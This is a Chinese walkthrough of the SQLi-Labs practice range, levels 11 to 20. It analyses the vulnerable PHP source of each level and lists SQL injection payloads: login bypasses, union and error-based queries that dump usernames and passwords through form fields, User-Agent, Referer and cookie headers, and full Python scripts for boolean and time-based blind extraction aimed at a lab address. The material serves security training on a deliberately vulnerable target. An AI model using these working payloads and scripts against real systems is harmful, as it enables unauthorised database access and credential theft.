SQLLabs靶场 less11-20

2023-07-29,,

SQLLabs靶场 less11-20

Less-11-16

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='x'11
请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=("x")12
请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username=('x')13
请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username=('x')14
请求方式 注入类型 拼接方式
POST 布尔盲注、延时盲注 username='x'15
请求方式 注入类型 拼接方式
POST 布尔盲注、延时盲注 username=("x")16

源码分析

#less-11   POST方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
#单引号拼接SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
#less-13 POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd']; # 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; if true:
并没有输出啥信息
else:
print_r(mysql_error()); #less-14 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

万能钥匙

# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit # 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit # 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

联合查询注入

uname=admin&passwd=1' union select 1,(select group_concat(username,password) from users)#&submit=Submit

盲注

bool
import requests

chars =""
for i in range(32,127):
chars += chr(i)
result = "" def get_length(value): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length >value:
print("……data length is :" + str(n))
return n def get_data(data_length,value): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length>value: #根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :"+ result)
break url = "http://10.10.35.108/sqllabs/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 1460 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看 length = get_length(value) +1
get_data(length,value)
print(result)
延时

import requests
import time
value =""
for i in range(32,127):
value += chr(i)
result="" def get_length():#获取数据的长度
for n in range(1, 100):
payload = "admin' and if((length(({0} ))={1}),sleep(2),1) #".format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了
if use_time > 2:
print("...... data's length is :"+ str(n))
return n def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value :
payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(2),1) #".format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
if use_time >2:
result += v
print("......"+result) url = "http://10.10.35.108/sqllabs/Less-11/" data_payload ="select database()" length = get_length() + 1 #注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :"+ result)

less-17

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 password = '$passwd'

源码分析

# uname 参数被过滤了
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd']; # SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; if select 结果正确:
# 更新语句 使用单引号拼接 passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; if mysql 报错:
print_r(mysql_error());

因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入

uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit

less-18

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 VALUES ('$uagent')

源码分析

# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR']; if 输入了uname 和 passwd:
# 对这两个参数进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; if SQL语句有返回结果:
# 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());

这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。

PHP 里用来获取客户端 IP 的变量

$_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
$_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:

User-Agent: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1

less-19

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 VALUES ('$uagent')

简单源码分析:

PHP# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR']; if 输入了uname 和 passwd:
# uname 和 passwd 参数均被过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; if SQL语句有返回结果:
# 单引号拼接后直接带入 insert 语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
输出 $_SERVER['HTTP_REFERER']
print_r(mysql_error());
else:

这里的漏洞点出在了 referer 里面,其他利用方式基本上也是一毛一样。

Referer: ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1

Less-20

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username='$cookee'

简单源码分析:

PHP<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error()); else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname']; # 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', $row1['username'], time()-3600);
?>

从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。

联合注入查询

Cookie: uname=admin' and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#

报错注入

Cookie: uname=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#

SQLLabs靶场 less11-20的相关教程结束。

《SQLLabs靶场 less11-20.doc》

下载本文的Word格式文档,以方便收藏与打印。